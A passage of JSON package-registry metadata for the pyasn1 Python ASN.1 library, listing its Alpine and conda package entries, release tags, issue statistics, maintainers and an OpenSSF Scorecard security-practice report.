manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.891Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-asn1-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.20","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-asn1-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-asn1-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-asn1-pyc/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-asn1-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-asn1-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-asn1-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-asn1-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-asn1-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-asn1-pyc/codemeta","maintainers":[{"uuid":"alpine@ptrcnull.me","login":null,"name":"team/rust","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=team/rust","packages_count":398,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=team/rust","role":null,"created_at":"2024-06-12T00:55:05.497Z","updated_at":"2024-06-12T00:55:05.497Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers/alpine@ptrcnull.me/packages"}],"registry":{"name":"alpine-v3.20","url":"https://pkgs.alpinelinux.org/packages?branch=v3.20","ecosystem":"alpine","default":false,"packages_count":24162,"maintainers_count":405,"namespaces_count":2,"keywords_count":4251,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1535},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-06-07T11:51:39.915Z","updated_at":"2026-08-20T05:05:52.510Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/namespaces"}},{"id":5284623,"name":"pyasn1","ecosystem":"conda","description":"Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":null,"versions_count":12,"first_release_published_at":"2017-10-11T05:12:59.000Z","latest_release_published_at":"2026-08-03T12:20:54.000Z","latest_release_number":"0.6.4","last_synced_at":"2026-08-04T11:03:52.481Z","created_at":"2022-10-03T15:41:07.339Z","updated_at":"2026-08-15T09:21:24.897Z","registry_url":"https://anaconda.org/anaconda/pyasn1","install_command":"conda install -c anaconda pyasn1","documentation_url":null,"metadata":{},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1